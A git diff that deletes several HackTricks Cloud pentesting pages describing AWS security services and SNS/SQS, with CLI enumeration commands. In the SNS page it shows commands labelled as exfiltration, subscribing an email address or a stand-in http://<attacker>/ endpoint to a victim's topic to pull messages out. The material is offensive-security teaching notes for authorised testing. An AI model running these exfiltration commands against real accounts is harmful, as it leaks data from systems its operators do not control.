diff --git a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md
deleted file mode 100644
index 35ff808ba..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md
+++ /dev/null
@@ -1,42 +0,0 @@
-# AWS - Detective Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Detective
-
-**Amazon Detective** streamlines the security investigation process, making it more efficient to **analyze, investigate, and pinpoint the root cause** of security issues or unusual activities. It automates the collection of log data from AWS resources and employs **machine learning, statistical analysis, and graph theory** to construct an interconnected data set. This setup greatly enhances the speed and effectiveness of security investigations.
-
-The service eases in-depth exploration of security incidents, allowing security teams to swiftly understand and address the underlying causes of issues. Amazon Detective analyzes vast amounts of data from sources like VPC Flow Logs, AWS CloudTrail, and Amazon GuardDuty. It automatically generates a **comprehensive, interactive view of resources, users, and their interactions over time**. This integrated perspective provides all necessary details and context in one location, enabling teams to discern the reasons behind security findings, examine pertinent historical activities, and rapidly determine the root cause.
-
-## References
-
-* [https://aws.amazon.com/detective/](https://aws.amazon.com/detective/)
-* [https://cloudsecdocs.com/aws/services/logging/other/#detective](https://cloudsecdocs.com/aws/services/logging/other/#detective)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md
deleted file mode 100644
index 6667dcf6b..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md
+++ /dev/null
@@ -1,145 +0,0 @@
-# AWS - Macie Enum
-
-## AWS - Macie Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Macie
-
-Amazon Macie stands out as a service designed to **automatically detect, classify, and identify data** within an AWS account. It leverages **machine learning** to continuously monitor and analyze data, primarily focusing on detecting and alerting against unusual or suspicious activities by examining **cloud trail event** data and user behavior patterns.
-
-Key Features of Amazon Macie:
-
-1. **Active Data Review**: Employs machine learning to review data actively as various actions occur within the AWS account.
-2. **Anomaly Detection**: Identifies irregular activities or access patterns, generating alerts to mitigate potential data exposure risks.
-3. **Continuous Monitoring**: Automatically monitors and detects new data in Amazon S3, employing machine learning and artificial intelligence to adapt to data access patterns over time.
-4. **Data Classification with NLP**: Utilizes natural language processing (NLP) to classify and interpret different data types, assigning risk scores to prioritize findings.
-5. **Security Monitoring**: Identifies security-sensitive data, including API keys, secret keys, and personal information, helping to prevent data leaks.
-
-Amazon Macie is a **regional service** and requires the 'AWSMacieServiceCustomerSetupRole' IAM Role and an enabled AWS CloudTrail for functionality.
-
-### Alert System
-
-Macie categorizes alerts into predefined categories like:
-
-* Anonymized access
-* Data compliance
-* Credential Loss
-* Privilege escalation
-* Ransomware
-* Suspicious access, etc.
-
-These alerts provide detailed descriptions and result breakdowns for effective response and resolution.
-
-### Dashboard Features
-
-The dashboard categorizes data into various sections, including:
-
-* S3 Objects (by time range, ACL, PII)
-* High-risk CloudTrail events/users
-* Activity Locations
-* CloudTrail user identity types, and more.
-
-### User Categorization
-
-Users are classified into tiers based on the risk level of their API calls:
-
-* **Platinum**: High-risk API calls, often with admin privileges.
-* **Gold**: Infrastructure-related API calls.
-* **Silver**: Medium-risk API calls.
-* **Bronze**: Low-risk API calls.
-
-### Identity Types
-
-Identity types include Root, IAM user, Assumed Role, Federated User, AWS Account, and AWS Service, indicating the source of requests.
-
-### Data Classification
-
-Data classification encompasses:
-
-* Content-Type: Based on detected content type.
-* File Extension: Based on file extension.
-* Theme: Categorized by keywords within files.
-* Regex: Categorized based on specific regex patterns.
-
-The highest risk among these categories determines the file's final risk level.
-
-### Research and Analysis
-
-Amazon Macie's research function allows for custom queries across all Macie data for in-depth analysis. Filters include CloudTrail Data, S3 Bucket properties, and S3 Objects. Moreover, it supports inviting other accounts to share Amazon Macie, facilitating collaborative data management and security monitoring.
-
-### Enumeration
-
-```
-# Get buckets
-aws macie2 describe-buckets
-
-# Org config
-aws macie2 describe-organization-configuration
-
-# Get admin account (if any)
-aws macie2 get-administrator-account
-aws macie2 list-organization-admin-accounts # Run from the management account of the org
-
-# Get macie account members (run this form the admin account)
-aws macie2 list-members
-
-# Check if automated sensitive data discovey is enabled
-aws macie2 get-automated-discovery-configuration
-
-# Get findings
-aws macie2 list-findings
-aws macie2 get-findings --finding-ids <ids>
-aws macie2 list-findings-filters
-aws macie2 get -findings-filters --id <id>
-
-# Get allow lists
-aws macie2 list-allow-lists
-aws macie2 get-allow-list --id <id>
-
-# Get different info
-aws macie2 list-classification-jobs
-aws macie2 list-classification-scopes
-aws macie2 list-custom-data-identifiers
-```
-
-#### Post Exploitation
-
-{% hint style="success" %}
-From an attackers perspective, this service isn't made to detect the attacker, but to detect sensitive information in the stored files. Therefore, this service might **help an attacker to find sensitive info** inside the buckets.\
-However, maybe an attacker could also be interested in disrupting it in order to prevent the victim from getting alerts and steal that info easier.
-{% endhint %}
-
-TODO: PRs are welcome!
-
-## References
-
-* [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md
deleted file mode 100644
index ec054c188..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md
+++ /dev/null
@@ -1,89 +0,0 @@
-# AWS - Security Hub Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Security Hub
-
-**Security Hub** collects security **data** from **across AWS accounts**, services, and supported third-party partner products and helps you **analyze your security** trends and identify the highest priority security issues.
-
-It **centralizes security related alerts across accounts**, and provides a UI for viewing these. The biggest limitation is it **does not centralize alerts across regions**, only across accounts
-
-**Characteristics**
-
-* Regional (findings don't cross regions)
-* Multi-account support
-* Findings from:
-  * Guard Duty
-  * Config
-  * Inspector
-  * Macie
-  * third party
-  * self-generated against CIS standards
-
-## Enumeration
-
-```
-# Get basic info
-aws securityhub describe-hub
-
-# Get securityhub org config
-aws securityhub describe-organization-configuration #If the current account isn't the security hub admin, you will get an error
-
-# Get the configured admin for securityhub
-aws securityhub get-administrator-account
-aws securityhub get-master-account # Another way
-aws securityhub list-organization-admin-accounts # Another way
-
-# Get enabled standards
-aws securityhub get-enabled-standards
-
-# Get the findings
-aws securityhub get-findings
-
-# Get insights
-aws securityhub get-insights
-
-# Get Automation rules (must be from the admin account)
-aws securityhub list-automation-rules
-
-# Get members (must be from the admin account)
-aws securityhub list-members
-aws securityhub get-members --account-ids <acc-id>
-```
-
-## Bypass Detection
-
-TODO, PRs accepted
-
-## References
-
-* [https://cloudsecdocs.com/aws/services/logging/other/#general-info](https://cloudsecdocs.com/aws/services/logging/other/#general-info)
-* [https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html](https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md
deleted file mode 100644
index b6ee0fa3a..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md
+++ /dev/null
@@ -1,41 +0,0 @@
-# AWS - Shield Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Shield
-
-AWS Shield has been designed to help **protect your infrastructure against distributed denial of service attacks**, commonly known as DDoS.
-
-**AWS Shield Standard** is **free** to everyone, and it offers **DDoS protection** against some of the more common layer three, the **network layer**, and layer four, **transport layer**, DDoS attacks. This protection is integrated with both CloudFront and Route 53.
-
-**AWS Shield advanced** offers a **greater level of protection** for DDoS attacks across a wider scope of AWS services for an additional cost. This advanced level offers protection against your web applications running on EC2, CloudFront, ELB and also Route 53. In addition to these additional resource types being protected, there are enhanced levels of DDoS protection offered compared to that of Standard. And you will also have **access to a 24-by-seven specialized DDoS response team at AWS, known as DRT**.
-
-Whereas the Standard version of Shield offered protection against layer three and layer four, **Advanced also offers protection against layer seven, application, attacks.**
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md
deleted file mode 100644
index 518251fd6..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md
+++ /dev/null
@@ -1,97 +0,0 @@
-# AWS - Trusted Advisor Enum
-
-## AWS - Trusted Advisor Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## AWS Trusted Advisor Overview
-
-Trusted Advisor is a service that **provides recommendations** to optimize your AWS account, aligning with **AWS best practices**. It's a service that operates across multiple regions. Trusted Advisor offers insights in four primary categories:
-
-1. **Cost Optimization:** Suggests how to restructure resources to reduce expenses.
-2. **Performance:** Identifies potential performance bottlenecks.
-3. **Security:** Scans for vulnerabilities or weak security configurations.
-4. **Fault Tolerance:** Recommends practices to enhance service resilience and fault tolerance.
-
-The comprehensive features of Trusted Advisor are exclusively accessible with **AWS business or enterprise support plans**. Without these plans, access is limited to **six core checks**, primarily focused on performance and security.
-
-### Notifications and Data Refresh
-
-* Trusted Advisor can issue alerts.
-* Items can be excluded from its checks.
-* Data is refreshed every 24 hours. However, a manual refresh is possible 5 minutes after the last refresh.
-
-### **Checks Breakdown**
-
-#### CategoriesCore
-
-1. Cost Optimization
-2. Security
-3. Fault Tolerance
-4. Performance
-5. Service Limits
-6. S3 Bucket Permissions
-
-#### Core Checks
-
-Limited to users without business or enterprise support plans:
-
-1. Security Groups - Specific Ports Unrestricted
-2. IAM Use
-3. MFA on Root Account
-4. EBS Public Snapshots
-5. RDS Public Snapshots
-6. Service Limits
-
-#### Security Checks
-
-A list of checks primarily focusing on identifying and rectifying security threats:
-
-* Security group settings for high-risk ports
-* Security group unrestricted access
-* Open write/list access to S3 buckets
-* MFA enabled on root account
-* RDS security group permissiveness
-* CloudTrail usage
-* SPF records for Route 53 MX records
-* HTTPS configuration on ELBs
-* Security groups for ELBs
-* Certificate checks for CloudFront
-* IAM access key rotation (90 days)
-* Exposure of access keys (e.g., on GitHub)
-* Public visibility of EBS or RDS snapshots
-* Weak or absent IAM password policies
-
-AWS Trusted Advisor acts as a crucial tool in ensuring the optimization, performance, security, and fault tolerance of AWS services based on established best practices.
-
-## **References**
-
-* [https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor](https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md
deleted file mode 100644
index 2c3753a36..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md
+++ /dev/null
@@ -1,106 +0,0 @@
-# AWS - SNS Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## SNS
-
-Amazon Simple Notification Service (Amazon SNS) is described as a **fully managed messaging service**. It supports both **application-to-application** (A2A) and **application-to-person** (A2P) communication types.
-
-Key features for A2A communication include **publish/subscribe (pub/sub) mechanisms**. These mechanisms introduce **topics**, crucial for enabling high-throughput, **push-based, many-to-many messaging**. This feature is highly advantageous in scenarios that involve distributed systems, microservices, and event-driven serverless architectures. By leveraging these topics, publisher systems can efficiently distribute messages to a **wide range of subscriber systems**, facilitating a fanout messaging pattern.
-
-### **Difference with SQS**
-
-**SQS** is a **queue-based** service that allows point-to-point communication, ensuring that messages are processed by a **single consumer**. It offers **at-least-once delivery**, supports standard and FIFO queues, and allows message retention for retries and delayed processing.\
-On the other hand, **SNS** is a **publish/subscribe-based service**, enabling **one-to-many** communication by broadcasting messages to **multiple subscribers** simultaneously. It supports **various subscription endpoints like email, SMS, Lambda functions, and HTTP/HTTPS**, and provides filtering mechanisms for targeted message delivery.\
-While both services enable decoupling between components in distributed systems, SQS focuses on queued communication, and SNS emphasizes event-driven, fan-out communication patterns.
-
-### **Enumeration**
-
-```bash
-# Get topics & subscriptions
-aws sns list-topics
-aws sns list-subscriptions
-aws sns list-subscriptions-by-topic --topic-arn <arn>
-
-# Check privescs & post-exploitation
-aws sns publish --region <region> \
-    --topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
-    --message file://message.txt
-
-# Exfiltrate through email
-## You will receive an email to confirm the subscription
-aws sns subscribe --region <region> \
-    --topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
-    --protocol email \
-    --notification-endpoint my-email@example.com
-
-# Exfiltrate through web server
-## You will receive an initial request with a URL in the field "SubscribeURL"
-## that you need to access to confirm the subscription
-aws sns subscribe --region <region>\
-    --protocol http \
-    --notification-endpoint http://<attacker>/ \
-    --topic-arn <arn>
-```
-
-{% hint style="danger" %}
-Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used (HTTP or HTTPS cannot be used).
-
-Also, even if the `--topic-arn` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region.
-{% endhint %}
-
-#### Unauthenticated Access
-
-{% content-ref url="../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md" %}
-[aws-sns-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md)
-{% endcontent-ref %}
-
-#### Privilege Escalation
-
-{% content-ref url="../aws-privilege-escalation/aws-sns-privesc.md" %}
-[aws-sns-privesc.md](../aws-privilege-escalation/aws-sns-privesc.md)
-{% endcontent-ref %}
-
-#### Post Exploitation
-
-{% content-ref url="../aws-post-exploitation/aws-sns-post-exploitation.md" %}
-[aws-sns-post-exploitation.md](../aws-post-exploitation/aws-sns-post-exploitation.md)
-{% endcontent-ref %}
-
-#### Persistence
-
-{% content-ref url="../aws-persistence/aws-sns-persistence.md" %}
-[aws-sns-persistence.md](../aws-persistence/aws-sns-persistence.md)
-{% endcontent-ref %}
-
-## References
-
-* [https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/](https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md
deleted file mode 100644
index e4c425669..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md
+++ /dev/null
@@ -1,80 +0,0 @@
-# AWS - SQS Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## SQS
-
-Amazon Simple Queue Service (SQS) is presented as a **fully managed message queuing service**. Its main function is to assist in the scaling and decoupling of microservices, distributed systems, and serverless applications. The service is designed to remove the need for managing and operating message-oriented middleware, which can often be complex and resource-intensive. This elimination of complexity allows developers to direct their efforts towards more innovative and differentiating aspects of their work.
-
-### Enumeration
-
-```bash
-# Get queues info
-aws sqs list-queues
-aws sqs get-queue-attributes --queue-url <url> --attribute-names All
-
-# More about this in privesc & post-exploitation
-aws sqs receive-message --queue-url <value>
-
-aws sqs send-message --queue-url <value> --message-body <value>
-```
-
-{% hint style="danger" %}
-Also, even if the `--queue-url` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region.
